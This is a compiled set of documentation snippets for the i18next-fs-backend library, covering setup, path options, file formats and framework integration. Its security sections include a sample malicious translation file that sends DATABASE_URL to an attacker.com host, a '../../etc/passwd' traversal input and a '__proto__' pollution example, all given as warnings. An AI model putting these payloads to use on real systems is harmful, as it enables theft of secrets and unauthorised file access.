### Example: Basic JSON Setup Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/MANIFEST.md Demonstrates the basic setup for using JSON files with i18next-fs-backend. ```code Basic JSON setup ``` -------------------------------- ### Initialize i18next with fs-backend Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/index.md Quick start example demonstrating how to initialize i18next with the i18next-fs-backend plugin, configuring load and add paths for translation resources. ```javascript import i18next from 'i18next' import Backend from 'i18next-fs-backend' i18next.use(Backend).init({ backend: { loadPath: './locales/{{lng}}/{{ns}}.json', addPath: './locales/{{lng}}/{{ns}}.missing.json' }, lng: 'en', fallbackLng: 'en', ns: 'translation', defaultNS: 'translation' }) ``` -------------------------------- ### Example: Synchronous Initialization Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/MANIFEST.md Shows how to initialize i18next-fs-backend synchronously. ```code Synchronous initialization ``` -------------------------------- ### Example: Environment-Specific Config Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/MANIFEST.md Illustrates how to manage environment-specific configurations for the backend. ```code Environment-specific config ``` -------------------------------- ### Example: Nested Namespaces Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/MANIFEST.md Demonstrates how to configure and use nested namespaces. ```code Nested namespaces ``` -------------------------------- ### Example: Custom Format Handling Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/MANIFEST.md Demonstrates how to implement and use custom file format handlers. ```code Custom format handling ``` -------------------------------- ### Example: Monitoring and Logging Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/MANIFEST.md Shows how to integrate monitoring and logging for backend operations. ```code Monitoring and logging ``` -------------------------------- ### Install i18next-fs-backend with npm Source: https://github.com/i18next/i18next-fs-backend/blob/master/README.md Install the i18next-fs-backend package using npm. This is the first step to integrate the backend. ```bash # npm package $ npm install i18next-fs-backend ``` -------------------------------- ### Example: Fastify Integration Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/MANIFEST.md Shows how to integrate i18next-fs-backend with a Fastify application. ```code Fastify integration ``` -------------------------------- ### JSON5 Example File Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/formats.md An example of a JSON5 file, showcasing its relaxed syntax including unquoted keys, single quotes, and trailing commas. ```json5 { // Human-readable greeting greeting: "Hello", // No quotes needed farewell: 'Goodbye', // Single quotes OK too nested: { message: "Welcome", // Trailing comma allowed }, } ``` -------------------------------- ### FsBackendOptions Usage Example Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/types.md An example demonstrating how to instantiate the FsBackendOptions interface with custom values for loadPath, addPath, ident, and expirationTime. ```typescript const options: FsBackendOptions = { loadPath: './locales/{{lng}}/{{ns}}.json', addPath: './locales/{{lng}}/{{ns}}.missing.json', ident: 2, expirationTime: 60 * 60 * 1000 } ``` -------------------------------- ### Backend Initialization Example Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/backend.md Shows how to initialize or reinitialize the backend instance with configuration options after it has been created. This is usually handled by i18next during its own initialization. ```javascript const backend = new Backend() // Later: initialize with options backend.init(i18next.services, { loadPath: './locales/{{lng}}/{{ns}}.json' }) ``` -------------------------------- ### Example: Dynamic Path Resolution Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/MANIFEST.md Shows how to dynamically resolve file paths based on runtime conditions. ```code Dynamic path resolution ``` -------------------------------- ### Example: Express.js Integration Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/MANIFEST.md Demonstrates how to integrate i18next-fs-backend with an Express.js application. ```code Express.js integration ``` -------------------------------- ### Example: Multiple Namespaces Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/MANIFEST.md Illustrates the configuration for handling multiple namespaces with i18next-fs-backend. ```code Multiple namespaces ``` -------------------------------- ### Example: JSON5 with Comments Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/MANIFEST.md Shows how to use the JSON5 format, which supports comments. ```code JSON5 with comments ``` -------------------------------- ### Format Migration: Initial Setup Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/formats.md During migration, configure the backend to read from the old format (JSON) and write to the new format (JSON5). ```javascript i18next.use(Backend).init({ backend: { loadPath: './locales/{{lng}}/{{ns}}.json', addPath: './locales/{{lng}}/{{ns}}.json5' } }) ``` -------------------------------- ### Backend Constructor Example Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/backend.md Demonstrates direct instantiation of the Backend class with custom load and add paths. Typically, i18next handles instantiation automatically. ```javascript import Backend from 'i18next-fs-backend' // Direct instantiation (less common) const backend = new Backend(null, { loadPath: './locales/{{lng}}/{{ns}}.json', addPath: './locales/{{lng}}/{{ns}}.missing.json' }) // Typical usage (i18next handles instantiation) i18next.use(Backend).init({ backend: { loadPath: './locales/{{lng}}/{{ns}}.json' } }) ``` -------------------------------- ### Dynamic AddPathOption Examples Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/types.md Examples of using a function for AddPathOption to dynamically determine the path based on language and namespace. ```typescript // Redirect missing keys to separate directory (lng: string, ns: string): string => { return `./missing/${lng}/${ns}.json` } ``` ```typescript // Environment-aware (lng: string, ns: string): string => { const dir = process.env.NODE_ENV === 'production' ? '/var/missing' : './missing' return `${dir}/${lng}/${ns}.json` } ``` ```typescript // Pattern-based organization (lng: string, ns: string): string => { const date = new Date().toISOString().split('T')[0] return `./missing/${date}/${lng}/${ns}.json` } ``` -------------------------------- ### Example: Multiple Instances Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/MANIFEST.md Shows how to configure and use multiple independent instances of i18next-fs-backend. ```code Multiple instances ``` -------------------------------- ### Static AddPathOption Examples Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/types.md Examples of using a static string for AddPathOption, allowing interpolation of language and namespace. ```typescript // Missing keys file './locales/{{lng}}/{{ns}}.missing.json' ``` ```typescript // Separate missing directory './missing/{{lng}}/{{ns}}.json' ``` ```typescript // Dedicated tracking './translations/missing/{{lng}}/{{ns}}.json' ``` -------------------------------- ### Basic Backend Configuration Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/configuration.md Configure the `loadPath` and `addPath` for the backend. This example sets up basic loading and saving of translation files. ```javascript import i18next from 'i18next' import Backend from 'i18next-fs-backend' i18next.use(Backend).init({ backend: { loadPath: './locales/{{lng}}/{{ns}}.json', addPath: './locales/{{lng}}/{{ns}}.missing.json' }, lng: 'en', ns: 'translation', defaultNS: 'translation' }) ``` -------------------------------- ### Dynamic LoadPathOption Examples Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/types.md Provides examples of using a function for the loadPath option to dynamically generate paths based on language and namespace, including conditional logic. ```typescript (language: string, namespace: string): string => { return `./locales/${language}/${namespace}.json` } ``` ```typescript (lng: string, ns: string): string => { if (lng === 'en-US') { return `./locales/american/${ns}.json` } return `./locales/${lng}/${ns}.json` } ``` ```typescript (lng: string, ns: string): string => { const region = lng.split('-')[0] return `./locales/${region}/${lng}/${ns}.json` } ``` -------------------------------- ### JSONC Example File Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/formats.md An example of a JSONC file, which supports single-line and multi-line comments but adheres to stricter JSON rules for keys and trailing commas. ```jsonc { // Welcome message for users "greeting": "Hello", /* This is a multi-line comment for translators */ "farewell": "Goodbye", "nested": { "message": "Welcome" } // Note: No trailing comma allowed here } ``` -------------------------------- ### Example: YAML Format Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/MANIFEST.md Illustrates the usage of the YAML format for translation files. ```code YAML format ``` -------------------------------- ### Basic Setup with Simple JSON Translations Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/examples.md Initialize i18next with the fs-backend to load translations from a specified path. Ensure your locale files are structured correctly. ```javascript import i18next from 'i18next' import Backend from 'i18next-fs-backend' i18next.use(Backend).init({ fallbackLng: 'en', lng: 'en', ns: 'translation', defaultNS: 'translation', backend: { loadPath: './locales/{{lng}}/{{ns}}.json' } }, (err, t) => { if (err) { console.error('Failed to initialize i18next:', err) return } console.log(t('greeting')) // Loads from ./locales/en/translation.json }) ``` ```json { "greeting": "Hello", "farewell": "Goodbye" } ``` -------------------------------- ### Install i18next-fs-backend Package Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/errors.md If you encounter a 'Cannot find module' error, ensure that the `i18next-fs-backend` package is installed in your project. Use npm or yarn to add it to your dependencies. ```bash npm install i18next-fs-backend ``` -------------------------------- ### Example YAML File Structure Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/formats.md Demonstrates common YAML structures like comments, nested objects, lists, and multiline strings. ```yaml # Welcome messages greeting: Hello farewell: Goodbye nested: message: Welcome code: 100 # Lists colors: - red - green - blue # Multiline strings longMessage: | This is a long multiline message that spans multiple lines ``` -------------------------------- ### Example JSON Translation File Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/formats.md This is an example of a standard JSON file used for translations. It demonstrates a simple key-value structure with a nested object. ```json { "greeting": "Hello", "farewell": "Goodbye", "nested": { "message": "Welcome" } } ``` -------------------------------- ### Key Separator Examples Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/configuration.md Demonstrates different configurations for `keySeparator`. It shows how to use a dot, false for literal keys, and a slash as a separator. ```javascript { keySeparator: '.', // 'a.b.c' → {a: {b: {c: ...}}} keySeparator: false, // 'a.b.c' → {'a.b.c': ...} (literal key) keySeparator: '/' // 'a/b/c' → {a: {b: {c: ...}}} } ``` -------------------------------- ### Example: Cache Layer with Expiration Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/MANIFEST.md Demonstrates setting up a cache layer with expiration times for translations. ```code Cache layer with expiration ``` -------------------------------- ### Example: Missing Key Handling Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/MANIFEST.md Illustrates strategies for handling missing translation keys. ```code Missing key handling ``` -------------------------------- ### Custom Format Handling with TOML Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/examples.md Integrates custom parsing and stringifying logic for handling non-JSON file formats, specifically TOML in this example. Requires the 'toml' library to be installed. ```javascript import toml from 'toml' i18next.use(Backend).init({ backend: { loadPath: './locales/{{lng}}/{{ns}}.toml', parse: (data) => { // Custom parser for .toml files try { return toml.parse(data) } catch (err) { throw new Error(`Error parsing TOML: ${err.message}`) } }, stringify: (data, replacer, space) => { // Custom serializer return toml.stringify(data) } } }) ``` -------------------------------- ### Example: React/Next.js Integration Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/MANIFEST.md Illustrates the integration of i18next-fs-backend within React or Next.js projects. ```code React/Next.js integration ``` -------------------------------- ### i18next-fs-backend Configuration with Caching Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/api-summary.md This example demonstrates how to use `ChainedBackend` to configure caching with `FSBackend` and a fallback to `HttpBackend`. ```javascript i18next.use(ChainedBackend).init({ backend: { backends: [FSBackend, HttpBackend], backendOptions: [{ loadPath: './cache/{{lng}}/{{ns}}.json', expirationTime: 3600000 }, { loadPath: 'https://api.example.com/i18n/{{lng}}/{{ns}}' }] } }) ``` -------------------------------- ### Example: Error Recovery Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/MANIFEST.md Illustrates strategies and patterns for recovering from backend-related errors. ```code Error recovery ``` -------------------------------- ### Example: TypeScript Type Safety Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/MANIFEST.md Demonstrates how to leverage TypeScript for type safety with i18next-fs-backend. ```code TypeScript type safety ``` -------------------------------- ### Static LoadPathOption Examples Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/types.md Illustrates various static string formats for the loadPath option, including basic structure, nested namespaces, and custom naming conventions. ```typescript './locales/{{lng}}/{{ns}}.json' ``` ```typescript './i18n/{{lng}}/{{ns}}.json' ``` ```typescript '/translations/lang-{{lng}}/namespace-{{ns}}.json' ``` -------------------------------- ### Graceful Error Handling During Initialization Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/examples.md Implement error recovery for i18next initialization. This example shows how to catch initialization errors and provide fallback mechanisms. ```javascript i18next.use(Backend).init({ fallbackLng: 'en', backend: { loadPath: './locales/{{lng}}/{{ns}}.json' } }, (err, t) => { if (err) { console.error('i18next initialization error:', err.message) // Fallback to hardcoded strings if (err.message.includes('ENOENT')) { console.error('Translation files not found') // Use default English strings } else if (err.message.includes('unsafe')) { console.error('Invalid language/namespace value') // Sanitize and retry } return } console.log('i18next ready') }) ``` -------------------------------- ### Synchronous Initialization for Backend Applications Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/examples.md Use synchronous loading for backend-only applications where translations must be available before the server starts. Preload specified languages. ```javascript import i18next from 'i18next' import Backend from 'i18next-fs-backend' i18next .use(Backend) .init({ initAsync: false, // Synchronous loading fallbackLng: 'en', lng: 'en', ns: ['common', 'errors'], defaultNS: 'common', preload: ['en', 'de'], // Pre-load these languages backend: { loadPath: './locales/{{lng}}/{{ns}}.json' } }) // Now synchronously available console.log(i18next.t('greeting')) // No wait needed ``` -------------------------------- ### Wire up i18next-fs-backend (Node.js) Source: https://github.com/i18next/i18next-fs-backend/blob/master/README.md Integrate the i18next-fs-backend module into your i18next setup. Ensure i18next and the backend are imported correctly. ```javascript import i18next from 'i18next'; import Backend from 'i18next-fs-backend'; i18next.use(Backend).init(i18nextOptions); ``` -------------------------------- ### JSON Configuration for i18next-fs-backend Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/formats.md Configuration example for i18next-fs-backend when using the default JSON format. It specifies the load path for translation files. This configuration relies on the default JSON parsers. ```javascript { loadPath: './locales/{{lng}}/{{ns}}.json' // Uses default JSON.parse and JSON.stringify } ``` -------------------------------- ### Build Custom Path Logic Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/utilities.md Implement custom path building logic to define how locale files are located. This example includes validation for language and namespace segments before constructing the path. ```javascript const loadPath = (lng, ns) => { // Validate before building path if (!isSafeLangSegment(lng) || !isSafeNsSegment(ns)) { throw new Error('Invalid language or namespace') } return `./locales/${lng}/${ns}.json` } ``` -------------------------------- ### Directory Traversal Attack Example Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/security.md Demonstrates how untrusted language and namespace inputs can be exploited to read arbitrary files using '../' sequences without proper validation. ```javascript // Untrusted input from HTTP query const language = request.query.lang // User sends: "../../etc/passwd" const namespace = request.query.ns // User sends: "../../../data" // Without validation: reads arbitrary files const path = `./locales/${language}/${namespace}.json` // Resolves to: ./../../etc/passwd/../../data.json // → /etc/passwd or similar ``` -------------------------------- ### React/Next.js Integration with i18next Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/examples.md Sets up i18next for React/Next.js applications using i18next-fs-backend and react-i18next. Includes an example component demonstrating translation usage and language switching. ```javascript // lib/i18n.js import i18next from 'i18next' import Backend from 'i18next-fs-backend' import { initReactI18next } from 'react-i18next' i18next .use(Backend) .use(initReactI18next) .init({ fallbackLng: 'en', lng: 'en', ns: ['common'], defaultNS: 'common', backend: { loadPath: './public/locales/{{lng}}/{{ns}}.json' }, react: { useSuspense: false } }) export default i18next // components/Greeting.jsx import { useTranslation } from 'react-i18next' export function Greeting() { const { t, i18n } = useTranslation() return (

{t('greeting')}

) } ``` -------------------------------- ### Configure Synchronous Initialization Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/errors.md To enable synchronous initialization, set `initAsync: false` before calling `init()`. This allows you to use the translator instance immediately after initialization, as shown in the callback example. ```javascript i18next .use(Backend) .init({ initAsync: false, // Must be set BEFORE init() backend: { loadPath: './locales/{{lng}}/{{ns}}.json' } }, (err, t) => { // Now synchronous console.log(t('key')) }) ``` -------------------------------- ### Synchronous i18next Initialization Source: https://github.com/i18next/i18next-fs-backend/blob/master/README.md Configure i18next to load translation files synchronously by setting initAsync to false. This example demonstrates preloading locales based on directories found in the ../locales path. ```javascript // i18n.js const { join } = require('path') const { readdirSync, lstatSync } = require('fs') const i18next = require('i18next') const Backend = require('i18next-fs-backend') i18next .use(Backend) .init({ // debug: true, initAsync: false, fallbackLng: 'en', lng: 'en', preload: readdirSync(join(__dirname, '../locales')).filter((fileName) => { const joinedPath = join(join(__dirname, '../locales'), fileName) const isDirectory = lstatSync(joinedPath).isDirectory() return isDirectory }), ns: 'backend-app', defaultNS: 'backend-app', backend: { loadPath: join(__dirname, '../locales/{{lng}}/{{ns}}.json') } }) ``` -------------------------------- ### JavaScript/TypeScript Export Examples Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/file-io.md Illustrates how JavaScript and TypeScript files are handled for exports, including module exports and ES export default syntax. The code is processed by searching for export assignments, extracting the code, wrapping it in parentheses, and then evaluating it. ```javascript // Supports module exports exports = { greeting: 'Hello' } // Supports ES export default export default { greeting: 'Hello' } // Processed as: // 1. Search for 'exports' or 'export default' // 2. Extract code after assignment // 3. Wrap in parentheses // 4. eval() to get object ``` -------------------------------- ### Malicious JavaScript File Example Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/formats.md Demonstrates a security risk example of a malicious JavaScript translation file. This code can access environment variables, read/write the filesystem, and make network requests. ```javascript // NEVER load .js/.ts files from untrusted sources: // ✗ User uploads // ✗ Compromised CDN // ✗ External URLs // ✗ Shared network mounts // File has full process privileges: // - Can read process.env (including secrets!) // - Can read/write filesystem // - Can make network requests // - Can execute shell commands // Example of malicious file: const stolen = process.env.DATABASE_URL const exfil = require('http').request('http://attacker.com/steal?data=' + stolen) ``` -------------------------------- ### Initialize i18next-fs-backend with instance and options Source: https://github.com/i18next/i18next-fs-backend/blob/master/README.md Create a new instance of the backend and then initialize it with options. This allows for more explicit control over backend instantiation. ```javascript import Backend from 'i18next-fs-backend'; const Backend = new Backend(null, options); ``` -------------------------------- ### Initialize Backend Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/api-summary.md Initialize the backend with configuration. This method is part of the core i18next interface. ```javascript init(services?, options?, allOptions?) => void ``` -------------------------------- ### Import Main Backend Class Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/README.md Import and instantiate the main Backend class. This is the primary way to use the backend. ```javascript import Backend from 'i18next-fs-backend' const backend = new Backend(services, options) ``` -------------------------------- ### Backend Instance Methods Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/MANIFEST.md Key instance methods for managing backend operations including initialization, reading, creating, saving, and removing files. ```javascript init() read() create() save() removeFile() ``` -------------------------------- ### ReadCallback Success Invocation Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/types.md Example of invoking the ReadCallback successfully with translation data and a timestamp. ```typescript callback(null, { greeting: 'Hello', farewell: 'Goodbye' }, 1623456789000) ``` -------------------------------- ### Initialize i18next-fs-backend via init method Source: https://github.com/i18next/i18next-fs-backend/blob/master/README.md Initialize an existing backend instance by calling its init method with options. Useful when the backend instance is created separately. ```javascript import Backend from 'i18next-fs-backend'; const Backend = new Backend(); Backend.init(null, options); ``` -------------------------------- ### ReadCallback File Expired Invocation Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/types.md Example of invoking the ReadCallback when a file has expired, signaling no retry. ```typescript callback(new Error('File expired!'), false) ``` -------------------------------- ### init Method Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/backend.md Initializes or reinitializes the backend with configuration options. This method is called automatically by i18next during initialization but can also be invoked directly to reconfigure the backend. ```APIDOC ## init(services?, options?, allOptions?) ### Description Initializes (or reinitializes) the backend with configuration options. This is called automatically by i18next during `.init()` but can also be called directly to reconfigure. Merges provided options with defaults and sets up internal debounced write queue. ### Method `init` ### Parameters #### Path Parameters - **services** (any) - Optional - i18next services instance - **options** (FsBackendOptions) - Optional - Backend configuration - **allOptions** (any) - Optional - Full i18next options ### Returns void ### Example ```javascript const backend = new Backend() // Later: initialize with options backend.init(i18next.services, { loadPath: './locales/{{lng}}/{{ns}}.json' }) ``` ``` -------------------------------- ### ReadCallback Parse Error Invocation Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/types.md Example of invoking the ReadCallback when a parsing error occurs, signaling no retry. ```typescript callback(new Error('error parsing path.json: Unexpected token'), false) ``` -------------------------------- ### Wire up i18next-fs-backend (Deno) Source: https://github.com/i18next/i18next-fs-backend/blob/master/README.md Integrate the i18next-fs-backend module for Deno environments. Uses Deno-compatible import paths. ```javascript import i18next from 'https://deno.land/x/i18next/index.js' import Backend from 'https://deno.land/x/i18next_fs_backend/index.js' i18next.use(Backend).init(i18nextOptions); ``` -------------------------------- ### Convert JSON to JSON5 Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/formats.md Example of converting JSON to JSON5, which allows for comments and unquoted keys, enhancing human readability. ```json5 { // Comments added greeting: "Hello", // No quotes needed farewell: "Goodbye", } ``` -------------------------------- ### Constructor Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/api-summary.md Instantiates the Backend class. This is rarely called directly as i18next instantiates it automatically. ```APIDOC ## Constructor ### Description Instantiates the Backend class. This is rarely called directly as i18next instantiates it automatically. ### Signature `new Backend(services?, options?, allOptions?)` ### Returns Backend instance ``` -------------------------------- ### TypeScript Configuration with Type Safety Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/configuration.md Utilize TypeScript for type safety with `FsBackendOptions`. This example includes options for `ident` and `expirationTime`. ```typescript import i18next from 'i18next' import Backend, { FsBackendOptions } from 'i18next-fs-backend' const backendOptions: FsBackendOptions = { loadPath: './locales/{{lng}}/{{ns}}.json', addPath: './locales/{{lng}}/{{ns}}.missing.json', ident: 2, expirationTime: 60 * 60 * 1000 } i18next .use(Backend) .init({ backend: backendOptions, lng: 'en', fallbackLng: 'en' }) ``` -------------------------------- ### Initialize i18next with backend options Source: https://github.com/i18next/i18next-fs-backend/blob/master/README.md Pass backend options directly within the i18next.init call. This is the preferred method for configuring the backend. ```javascript import i18next from 'i18next'; import Backend from 'i18next-fs-backend'; i18next.use(Backend).init({ backend: options, }); ``` -------------------------------- ### Writing with JSONC Limitation Example Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/formats.md Demonstrates the limitation of writing to JSONC files with i18next-fs-backend. Use JSON or JSON5 for write operations (addPath). ```javascript // Cannot use jsonc for addPath (missing keys can't be written to JSONC) i18next.use(Backend).init({ backend: { loadPath: './locales/{{lng}}/{{ns}}.jsonc', // OK: read addPath: './locales/{{lng}}/{{ns}}.missing.json' // MUST use JSON or JSON5 for writes } }) ``` -------------------------------- ### Create Multiple i18next Instances Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/examples.md Demonstrates how to create and configure independent i18next instances for different languages or contexts. Each instance can have its own backend configuration. ```javascript import i18next from 'i18next' import Backend from 'i18next-fs-backend' // Instance 1: English default const i18nEN = i18next.createInstance() i18nEN.use(Backend).init({ lng: 'en', fallbackLng: 'en', backend: { loadPath: './locales/{{lng}}/{{ns}}.json' } }) // Instance 2: German default const i18nDE = i18next.createInstance() i18nDE.use(Backend).init({ lng: 'de', fallbackLng: 'de', backend: { loadPath: './locales/{{lng}}/{{ns}}.json' } }) // Use independently console.log(i18nEN.t('greeting')) // From EN console.log(i18nDE.t('greeting')) // From DE ``` -------------------------------- ### Instantiate Backend Class Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/api-summary.md Instantiate the Backend class. This is rarely called directly as i18next handles instantiation automatically. ```javascript new Backend(services?, options?, allOptions?) ``` -------------------------------- ### Backend Constructor Signature Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/MANIFEST.md The constructor for the main Backend class requires services, options, and allOptions. ```javascript new Backend(services, options, allOptions) ``` -------------------------------- ### Declaring Backend Options Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/types.md Demonstrates how to declare and configure options for the i18next-fs-backend, including load and add paths, and indentation for JSON files. ```typescript import Backend, { FsBackendOptions } from 'i18next-fs-backend' const options: FsBackendOptions = { loadPath: './locales/{{lng}}/{{ns}}.json', addPath: './locales/{{lng}}/{{ns}}.missing.json', ident: 2 } ``` -------------------------------- ### Full i18next-fs-backend Configuration Options Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/README.md This configuration includes all available options for the backend, such as addPath, ident, parse, stringify, and expirationTime. ```javascript { backend: { loadPath: './locales/{{lng}}/{{ns}}.json', addPath: './locales/{{lng}}/{{ns}}.missing.json', ident: 2, parse: JSON.parse, stringify: JSON.stringify, expirationTime: undefined } } ``` -------------------------------- ### Custom Parse and Stringify Functions Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/types.md Provides an example of implementing custom parse and stringify functions within the backend options to handle non-standard data formats. ```typescript const options: FsBackendOptions = { loadPath: './locales/{{lng}}/{{ns}}.json', parse: (data: string): Record => { return JSON.parse(data) }, stringify: (data: Record): string => { return JSON.stringify(data, null, 2) } } ``` -------------------------------- ### Get Nested Path Value Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/utilities.md Retrieves a value from a nested path within an object. The path can be a dot-separated string or an array. Returns undefined if the path does not exist. ```javascript const data = { a: { b: { c: 42 } } } getPath(data, 'a.b.c') // Returns 42 getPath(data, ['a', 'b']) // Returns {c: 42} getPath(data, 'x.y.z') // Returns undefined ``` -------------------------------- ### Language-Specific Load Paths Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/formats.md Configure different file extensions based on the language. Use JSON5 for English and JSON for other languages. ```javascript { loadPath: (lng, ns) => { if (lng === 'en') { return `./locales/en/${ns}.json5` // English with comments } return `./locales/${lng}/${ns}.json` // Others as JSON } } ``` -------------------------------- ### Instance Options Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/backend.md This property contains the merged backend options, including default values and user-provided configurations. Refer to the configuration documentation for the option structure. ```javascript backend.options: FsBackendOptions ``` -------------------------------- ### Express.js Integration with i18next-fs-backend Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/examples.md Integrates i18next-fs-backend with an Express.js application. This example sets up middleware to change the language based on request parameters and adds the translation function to response locals. ```javascript import express from 'express' import i18next from 'i18next' import Backend from 'i18next-fs-backend' const app = express() // Initialize i18next i18next.use(Backend).init({ fallbackLng: 'en', ns: 'translation', backend: { loadPath: './locales/{{lng}}/{{ns}}.json' } }, (err, t) => { if (err) { console.error('i18next initialization failed:', err) process.exit(1) } }) // Middleware to set language from request app.use((req, res, next) => { // Get language from query, cookie, header, or default const lang = req.query.lang || req.cookies?.lang || 'en' i18next.changeLanguage(lang) // Add t() function to res.locals res.locals.t = i18next.t.bind(i18next) next() }) // Route using translations app.get('/', (req, res) => { const greeting = res.locals.t('greeting') res.send(`

${greeting}

`) }) app.listen(3000) ``` -------------------------------- ### TypeScript Translation File (ES Module) Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/formats.md Example of an ES Module TypeScript file for translations, suitable for Deno or modern Node.js. Supports dynamic values and computed messages. ```typescript // locales/en/translation.js (in Deno or modern Node.js with ES modules) export default { greeting: 'Hello', farewell: 'Goodbye', timestamp: new Date().toISOString(), message: (() => { const parts = ['Hello', 'World'] return parts.join(' ') })() } ``` -------------------------------- ### Backend Constructor Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/backend.md Creates a new Backend instance for i18next-fs-backend. While typically instantiated by i18next, direct instantiation is possible for advanced configurations. ```APIDOC ## new Backend(services?, options?, allOptions?) ### Description Creates a new Backend instance. In typical usage, i18next instantiates this automatically via `.use(Backend)`. Direct instantiation is only needed for advanced configurations. ### Parameters #### Path Parameters - **services** (any) - Optional - i18next services instance (passed by i18next framework) - **options** (FsBackendOptions) - Optional - Backend-specific configuration options - **allOptions** (any) - Optional - Full i18next configuration object ### Example ```javascript import Backend from 'i18next-fs-backend' // Direct instantiation (less common) const backend = new Backend(null, { loadPath: './locales/{{lng}}/{{ns}}.json', addPath: './locales/{{lng}}/{{ns}}.missing.json' }) // Typical usage (i18next handles instantiation) i18next.use(Backend).init({ backend: { loadPath: './locales/{{lng}}/{{ns}}.json' } }) ``` ``` -------------------------------- ### Static Configuration for i18next-fs-backend Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/security.md Use this pattern when all configuration values, including the language path and supported languages, are known at build time. This ensures maximum security by avoiding any dynamic input. ```javascript // All values known at build time i18next.use(Backend).init({ backend: { loadPath: './locales/{{lng}}/{{ns}}.json' }, supportedLngs: ['en', 'de', 'fr'], // Whitelist defaultNS: 'translation' }) // Only call with static values i18next.changeLanguage('en') // Always safe ``` -------------------------------- ### Custom Format Handling with YAML Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/configuration.md Provide custom `parse` and `stringify` functions to handle non-standard file formats like YAML. This example uses `js-yaml` for parsing and stringifying. ```javascript import yaml from 'js-yaml' import Backend from 'i18next-fs-backend' // For non-standard formats, provide custom parser/stringifier const yamlBackend = new Backend(null, { loadPath: './locales/{{lng}}/{{ns}}.yml', parse: (data) => yaml.load(data), stringify: (data) => yaml.dump(data) }) ``` -------------------------------- ### Prototype Pollution Attack Example Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/security.md Shows how prototype pollution can occur by injecting '__proto__', 'constructor', or 'prototype' into language or namespace values, leading to global object prototype modification. ```javascript // Attacker controls language value const language = '__proto__' const namespace = 'translation' // Path interpolation with prototype key const loadPath = './locales/{{lng}}/{{ns}}.json' // If not protected: loads ./locales/__proto__/translation.json // Once loaded, modifies Object.prototype globally const translations = { __proto__: { isAdmin: true, canDelete: true } } // Now ALL objects inherit isAdmin and canDelete properties ``` -------------------------------- ### Minimal i18next-fs-backend Configuration Source: https://github.com/i18next/i18next-fs-backend/blob/master/_autodocs/README.md Use this minimal configuration to set the path for loading translation files. ```javascript { backend: { loadPath: './locales/{{lng}}/{{ns}}.json' } } ``` 